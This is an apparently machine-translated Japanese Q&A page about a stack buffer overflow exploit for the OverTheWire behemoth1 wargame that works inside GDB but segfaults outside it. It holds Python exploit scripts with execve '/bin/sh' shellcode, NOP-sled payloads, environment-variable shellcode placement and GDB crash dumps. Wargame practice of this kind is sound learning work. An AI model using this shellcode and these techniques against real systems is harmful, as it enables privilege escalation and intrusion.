web-dev-qa-db-ja.com

エクスプロイトはGDB外では機能しません

私はすでに他に提供されているさまざまなソリューションを試しました「エクスプロイトはgdbの外では機能しません」質問(r.sh、invoke.sh、環境変数の削除)および現時点では、このエクスプロイトが機能しない理由はわかりません(overthewireウォーゲームのbehemoth1)。このレベルの脆弱性は、単純なスタックオーバーフローであり、コードの実行をリダイレクトし、シェルを生成して、次のユーザーのパスワードをダンプすることになっています。

GDBの内部:

behemoth1@melinda:/tmp/halp_bh$ gdb -q -iex "set auto-load safe-path /" /behemoth/behemoth1
gdb-peda$ unset env
gdb-peda$ ! ./01.py > exploit_dump.hex
gdb-peda$ r < exploit_dump.hex
Starting program: /games/behemoth/behemoth1 < exploit_dump.hex
Password: Authentication failure.
Sorry.
process 17264 is executing new program: /bin/dash
[Inferior 1 (process 17264) exited normally]
Warning: not running or target is remote
gdb-peda$

GDB外(同じ呼び出し文字列を使用することも確認しました):

behemoth1@melinda:/tmp/halp_bh$ ./01.py | env - /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault

悪用コード

#!/usr/bin/env python

from struct import pack

def _pack(arg):
    return pack('<I', arg)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = ''
payload += '\x90' * 28
payload += shellcode # 23
payload += '\x90' * 28
payload += _pack(0xffffde00)

print payload

編集1:スタックはRWEです

behemoth1@melinda:~$ readelf -l /behemoth/behemoth1

Elf file type is EXEC (Executable file)
Entry point 0x8048360
There are 8 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  .
  .
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

編集2:環境変数を使用してもエクスプロイトは機能しません

behemoth1@melinda:/tmp/halp_bh$ export SC="\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x0a\xcd\x80\x31\xc0\xb0\x                                   01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x54\x72\x79\x20\x68\x61\x72\x64\x65\x72"
behemoth1@melinda:/tmp/halp_bh$ ./getenvaddr SC /behemoth/behemoth1
SC will be at 0xffffde62
behemoth1@melinda:/tmp/halp_bh$ vim 01.py
behemoth1@melinda:/tmp/halp_bh$ ./01.py > exploit_dump.txt
behemoth1@melinda:/tmp/halp_bh$ (cat exploit_dump.txt ; cat) | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
whoami
Segmentation fault

新しい01.py

#!/usr/bin/env python

from struct import pack

def _pack(arg):
    return pack('<I', arg)


payload = ''
payload += '\x41' * 79
payload += _pack(0xffffde62)

print payload

編集:0x10000バイトのnopsledがまだsegfaultsです。これはばかげています...

behemoth1@melinda:/tmp/halp_bh$ env | grep SC
SC=\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
LESSCLOSE=/usr/bin/lesspipe %s %s
behemoth1@melinda:/tmp/halp_bh$ export A=$(python -c "print '\x90'*0x10000")$SC
behemoth1@melinda:/tmp/halp_bh$ ./getenvaddr A /behemoth/behemoth1
A will be at 0xfffed7f6
# 0xfffed7f6 + 0x800 = 0xfffedff6
behemoth1@melinda:/tmp/halp_bh$ vim 01.py
behemoth1@melinda:/tmp/halp_bh$ ./01.py | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@melinda:/tmp/halp_bh$
behemoth1@melinda:/tmp/halp_bh$ ./01.py > exploit_dump.txt
behemoth1@melinda:/tmp/halp_bh$ cat exploit_dump.txt  | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@melinda:/tmp/halp_bh$

01.py

#!/usr/bin/env python

from struct import pack

def _pack(arg):
    return pack('<I', arg)

payload = ''

payload += '\x41' * 79
# payload += _pack(0xffff58cd)
# 0xfffedff6
payload += '\xf6\xdf\xfe\xff'

print payload

getenvaddr.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;

    if(argc < 3) {
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr);
}
4
shxdow

私の推測では、あなたのソリューションでは、スタックはgdbの外側で少しずれており、gdbの内側にあるスタックは少し他の場所にあると思います。私は挑戦を解決しました、そして私はこの問題を回避するために簡単なトリックを使いました。

環境変数を設定すると、それらはスタックに置かれます。これは、このチャレンジではRWEです。したがって、環境変数を使用して、実際にシェルコードとnopsledをバイナリに渡すことができます。

_NOPS=$(python -c 'print "\x90" * 0x10000')
SC=$'...' # shellcode
env -i "A=$NOPS$SC" /behemoth/behemoth1 < yourpayload
_

これにより、EIPを正しく設定して、ノップスレッド内に戻る機会が増えます。

pS:ペイロードを修正するのを手伝うつもりはありませんが、自分で修正する必要があります:)

編集:スタックが別の場所にあるというデモが追加されました。

_env - /behemoth/behemoth1_でプログラムを開始し、gdb /behemoth/behemoth1 --pid=$(pgrep behemoth1)を使用してパスワードを要求するときにGDBをアタッチし、十分に長いペイロードを続行すると、次のようになります。

_gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fa1870 --> 0x0 
ESI: 0xf7fa0000 --> 0x1b1db0 
EDI: 0xf7fa0000 --> 0x1b1db0 
EBP: 0x46454545 ('EEEF')
ESP: 0xffffde70 --> 0x0 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
_

このダンプでペイロードを見つけることができます:

_gdb-peda$ x/20x 0xffffde00
0xffffde00: 0x0804853c  0xffffdea4  0xf7fa0000  0x00004d57
0xffffde10: 0xffffffff  0x0000002f  0xf7dfadc8  0x41414158
0xffffde20: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffde30: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffde40: 0x41414141  0x41414141  0x41414141  0x41414141
_

ただし、使用した方法でGDB内から起動すると、ペイロードは指定されたアドレスにありません。

_➜  gdb -q -iex "set auto-load safe-path /" /behemoth/behemoth1
gdb-peda$ unset env
gdb-peda$ r
Starting program: /behemoth/behemoth1 
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFAAAA
Authentication failure.
Sorry.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fa1870 --> 0x0 
ESI: 0xf7fa0000 --> 0x1b1db0 
EDI: 0xf7fa0000 --> 0x1b1db0 
EBP: 0x46454545 ('EEEF')
ESP: 0xffffde00 --> 0x0 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffde00 --> 0x0 
0004| 0xffffde04 --> 0xffffde94 --> 0xffffdf7a ("/behemoth/behemoth1")
0008| 0xffffde08 --> 0xffffde9c --> 0xffffdf8e ("HOME=/home/akg")
0012| 0xffffde0c --> 0x0 
0016| 0xffffde10 --> 0x0 
0020| 0xffffde14 --> 0x0 
0024| 0xffffde18 --> 0xf7fa0000 --> 0x1b1db0 
0028| 0xffffde1c --> 0xf7ffdc04 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ x/20x 0xffffde00
0xffffde00: 0x00000000  0xffffde94  0xffffde9c  0x00000000
0xffffde10: 0x00000000  0x00000000  0xf7fa0000  0xf7ffdc04
0xffffde20: 0xf7ffd000  0x00000000  0xf7fa0000  0xf7fa0000
0xffffde30: 0x00000000  0x04ea9018  0x3b9d7e08  0x00000000
0xffffde40: 0x00000000  0x00000000  0x00000001  0x08048360
gdb-peda$ x/20x 0xffffde00-0x40
0xffffddc0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffddd0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdde0: 0x41414141  0x41414141  0x42414141  0x43424242
0xffffddf0: 0x44434343  0x45444444  0x46454545  0x41414141
0xffffde00: 0x00000000  0xffffde94  0xffffde9c  0x00000000
_
3
akg